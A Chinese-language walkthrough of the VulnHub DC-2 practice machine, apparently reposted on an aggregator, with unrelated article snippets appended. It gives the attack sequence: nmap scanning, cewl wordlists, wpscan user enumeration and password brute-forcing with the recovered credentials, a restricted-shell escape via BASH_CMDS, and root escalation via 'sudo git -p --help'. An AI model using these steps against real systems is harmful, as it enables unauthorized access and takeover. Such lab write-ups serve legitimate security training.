DC-2靶機詳解

寫寫自己打DC-2的過程

使用工具?kali

DC-2的靶機下載地址為:https://www.vulnhub.com/entry/dc-2,311/

環境配置。

Kali和DC-2都設置為NAT模式,都為僅主機模式也可以。

信息收集

arp-scan -l

nmap -sn 192.168.236.0/24

獲取靶機ip:192.168.236.140

掃描靶機端口:

nmap -sS -T5 --min-rate 10000 192.168.236.140 -sC -p-

開放了80和7744端口

FLAG1

嘗試訪問一下DC-2:192.168.236.140

本地訪問不了會自動跳到DC-2。應該是給重定向了!

我們本地dns綁定下

可以訪問本地hosts
C:\Windows\System32\drivers\etc
修改hosts文件
修改不了的話,右鍵屬性 取消只讀 保存就可以了

添加這樣子的一條

重新訪問就進去了,發現下面有個flag,得到第一個flag

點進去提示我們要使用cewl工具

Cewl是一款采用Ruby開發的應用程序,你可以給它的爬蟲指定URL地址和爬取深度,還可以添額外的外部鏈接,接下來Cewl會給你返回一個字典文件,你可以把字典用到類似John the Ripper這樣的密碼破解工具中。除此之外,Cewl還提供了命令行工具。

FLAG2

看看網站字典,保存下來

cewl http://dc-2 -w passwd.txt

注意:本來用 cewl http://192.168.28.179 -w passwd.txt 的但是沒有任何輸出,想想應該是ip給重定向了,用域名就可以了。

cat passwd.txt 查看下字典

有了密碼字典 還需要找用戶名

用dirb來掃目錄

發現經典的wordpress登錄框,admin.php非常有可能。我們去訪問

網站我們拿到了 還需要賬號

這一看就是Wordpress。

Wordpress有一個著名的掃描工具wpscan

缺用戶名那么我們就

wpscan --url http://dc-2/ -e u?//枚舉用戶名字

枚舉出來的3個賬號

admin
jerry
tom

將這三個用戶名存儲在一個文本文件中

使用wpscan爆破賬號密碼

wpscan --url http://dc-2/ -U user.txt -P passwd.txt

爆破出來了兩組用戶名和密碼

jerry /adipiscing

tom /?parturient

登錄wordpress主頁

登錄成功!

注意:上面url有時候不會跳到http://dc-2/wp-admin/ 導致登錄后空白,可以登錄后輸入url 就可以進去了。

仔細找找多點點FLAG就出來了

提示說:wordpress找不到其他的東西了

FLAG3

想起來了前面有個ssh改端口的改成了7744

然后也了個WordPress的賬號密碼,可以嘗試登錄下

ssh jerry@192.168.236.140 -p 7744?
ssh tom@192.168.236.140 -p 7744

嘗試三次發現jerry無法登錄

嘗試tom用戶,成功登錄

ls查看當前目錄的文件

發現了flag3.txt

cat flag3.txt


發現命令無法使用

compgen -c ? ? ? //查看可以使用的指令

發現vi可以使用

vi flag3.txt

發現flag3.txt

FLAG4

提示說:

Poor old Tom is always running after Jerry. Perhaps he should?su?for all the stress he causes.

可憐的老湯姆老是追杰瑞。也許他應該為他造成的所有壓力負責。

發現tom只能使用less、ls、scp、vi命令,無法直接使用su命令切換用戶

BASH_CMDS[a]=/bin/sh ; a ?#調用/bin/sh命令解釋器
/bin/bash ? #使用bash命令解釋器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin ?#設置環境變量

此時命令基本上都可以使用,也可以table補全命令

切換到jerry用戶,進入jerry家目錄下

su jerry ?
adipiscing ? #jerry用戶登錄密碼

ls 找到flag4.txt,提示使用git 命令

Flag4:

Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).?

No hints here - you're on your own now. ?:-)

Go on - git outta here!!!!

sudo -l ? ?#查看可以使用root權限無密碼的命令,有git命令
sudo git -p –-help ?#提權

passwd ?root ? #修改root密碼
123456 ? ?#密碼修改為:123456

su root ? #切換到root用戶
cd /root ?#進入到root家目錄下
ls ? ?#找到final-flag.txt

參考文章:Vulnhub靶機實戰——DC-2_dc-2靶機-CSDN博客

靶機練習:DC-2靶機復現_dc-2靶場打完重置-CSDN博客

當然還有很多方法,我這只是最簡單的。

勿噴!!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/717008.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/717008.shtml
英文地址,請注明出處:http://en.pswp.cn/news/717008.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于springboot+vue的工廠車間管理系統

博主主頁:貓頭鷹源碼 博主簡介:Java領域優質創作者、CSDN博客專家、阿里云專家博主、公司架構師、全網粉絲5萬、專注Java技術領域和畢業設計項目實戰,歡迎高校老師\講師\同行交流合作 ?主要內容:畢業設計(Javaweb項目|小程序|Pyt…

【Linux】輸入系統應用

# 前置知識 (1)輸入子系統分為三層,分別是事件處理層、核心層、設備驅動層; (2)鼠標移動、鍵盤按鍵按下等輸入事件都需要通過設備驅動層→核心層→事件處理層→用戶空間,層層上報,直到應用程序; 事件處理層 (1)事情處理層主要是負…

【八】【SQL】子查詢和where

顯示與SMITH同一部門的員工 mysql> select *from emp where enameSMITH; ----------------------------------------------------------------------- | empno | ename | job | mgr | hiredate | sal | comm | deptno | --------------------------------…

Python調用C,python call c,pybind11

文章目錄 前言1.將pybind11 clone至當前項目下的extern目錄下2.在CmakeLists.txt中將pybind11項目包含3.接口cpp文件格式4.編譯5.導入Python使用6.性能比較pybind11項目地址 前言 通過https://github.com/pybind/pybind11項目實現Python調用C/C代碼 實現步驟 1.將pybind11 cl…

騰訊云4核8G服務器申請費用多少?性能如何?支持幾個人?

騰訊云4核8G服務器支持多少人在線訪問?支持25人同時訪問。實際上程序效率不同支持人數在線人數不同,公網帶寬也是影響4核8G服務器并發數的一大因素,假設公網帶寬太小,流量直接卡在入口,4核8G配置的CPU內存也會造成計算…

大數據報告檢測到風險等級太高是怎么回事呢?

隨著金融風控越來越多元化,大數據作為新興的技術被運用到貸前風控中去了,不少人也了解過自己的大數據,但是由于相關知識不足,看不懂報告,在常見的問題中,大數據檢測到風險等級太高是怎么回事呢?小易大數據…

《javascript高級程序設計》學習筆記 | 21.2.錯誤處理

關注[前端小謳],閱讀更多原創技術文章 錯誤處理 相關代碼 → try/catch 語句 ES3 新增了try/catch語句,基本語法與 Java 中的 try/catch 一樣 try {// 可能出錯的代碼const a 3;a 4; } catch (error) {// 出錯時執行的代碼console.log("An er…

vsomeip源碼剖析--00環境搭建

環境 Win11 WSL2 Ubuntu22.04安裝依賴 sudo apt-get install cmake sudo apt-get install libboost-system1.71-dev libboost-thread1.71-dev libboost-log1.71-dev源碼編譯 獲取源碼 https://github.com/COVESA/vsomeip.git編譯 cd vsomeip mkdir build cd build// 一般…

漫漫數學之旅035

文章目錄 經典格言數學習題古今評注名人小傳 - 黎勒?笛卡爾 經典格言 完美的數和完美的人是同樣罕見的。——黎勒?笛卡爾(Ren Descrates) 完美的數和完美的人都是極為罕見的。這句話表達了一個哲學觀點,即無論是在數學領域還是人類自身&am…

Spring框架相關問題

RabbitMQ相關問題 Spring框架相關問題 一、Spring容器中的Bean是線程安全的嗎?二、如何保證Spring容器中的Bean是線程安全的呢?三、什么情況下會觸發Spring事務回滾?四、如果事務方法拋出IOException,是否會觸發Spring事務回滾&a…

Zookeeper學習2:原理、常用腳本、選舉機制、監聽器

文章目錄 原理選舉機制(重點)情況1:正常啟動集群情況2:集群啟動完,中途有機器掛了 監聽器客戶端向服務端寫入數據客戶端向服務端Leader節點寫入客戶端向服務端Follower節點寫入 Paxos算法(每個節點都可以提…

AMDGPU KFD Test 編譯使用

ROCT-Thunk-Interface是一個用于在ROCm軟件堆棧中提供設備無關性的層。它是ROCm的一部分,允許不同的硬件平臺(如AMD GPU和Intel CPU)使用相同的API進行計算。 要安裝ROCT-Thunk-Interface,首先需要創建一個新的目錄,并進入該目錄: mkdir rocm-build cd rocm-build然后,…

ng : 無法將ng項識別為 cmdlet、函數、腳本文件或可運行程序的名稱

ng : 無法將“ng”項識別為 cmdlet、函數、腳本文件或可運行程序的名稱”,出現這種錯誤,那說明你angular-cli沒有下載所以環境變量里沒有相應的東西 1、需要在cmd里輸入npm install -g angular/cli 2、之后運行angular命令時還可能出現這種錯誤 “ng : …

ruoyi 圖片等文件資源讀取

老是忘,記錄一下 ResourcesConfig 文件下 /** 本地文件上傳路徑 */ registry.addResourceHandler(Constants.RESOURCE_PREFIX "/**").addResourceLocations("file:" RuoYiConfig.getProfile() "/"); /*** 資源映射路徑 前綴*/ …

kafka消費者重平衡是什么?怎么避免?

消費者重平衡是指主題下的分區怎么分配給消費者的過程。下面這個圖可以看出該過程:原來有2個消費者,3個分區,其中一個消費者肯定就的處理2個分區了。那么當新加入消費者時,則每個消費者就只處理一個分區了。處理這個分區過程的叫協…

詳解Nacos注冊中心的使用

文章目錄 1、安裝2、服務注冊2.1、引入依賴2.2、配置nacos地址2.3、重啟 3、服務分級存儲模型3.1、給user-service配置集群3.2、同集群優先的負載均衡 4、權重配置5、環境隔離5.1、創建namespace5.2、配置namespace 6、Nacos與Eureka的區別7、代碼免費分享 ?🍃作者…

首例以“冠狀病毒”為主題的勒索病毒,篡改系統MBR

前言概述 2020年勒索病毒攻擊仍然是網絡安全的最大威脅,在短短三個月的時間里,已經出現了多款新型的勒索病毒,關于2020年勒索病毒攻擊新趨勢,可以閱讀筆者寫的上一篇文章,里面有詳細的分析,從目前觀察到的…

Linux 學習筆記(9)

九、 運行級別 1 、 Linux 系統的運行級別 (runlevel) Linux 系統有 7 個運行級別, Linux 系統任何時候都運行在一個指定的運行級別上,不同的運行級 別所運行的程序和服務不盡相同,所要完成的工作和要達到的目的也不相同 運行級別…

RH850P1X芯片學習筆記-Generic Timer Module -ATOM

文章目錄 ARU-connected Timer Output Module (ATOM)OverviewGLOBAL CHANNEL CONTROL BLOCK ATOM Channel architectureATOM Channel modesSOMP-Signal Output Mode PWMSOMP - ARUSOMC-Signal Output Mode CompareSOMC - ARUSOMC – COMPARE COMMANDSOMC – OUTPUT ACTIONATOM …

Python縮進規則

Python的縮進規則是Python語法中非常重要的一部分,也是Python語言獨特的特點之一。在Python中,縮進被用來表示代碼塊的層次結構,而不是像其他語言一樣使用大括號或關鍵詞。這種縮進規則使得Python代碼更加簡潔、易讀、易于理解,同…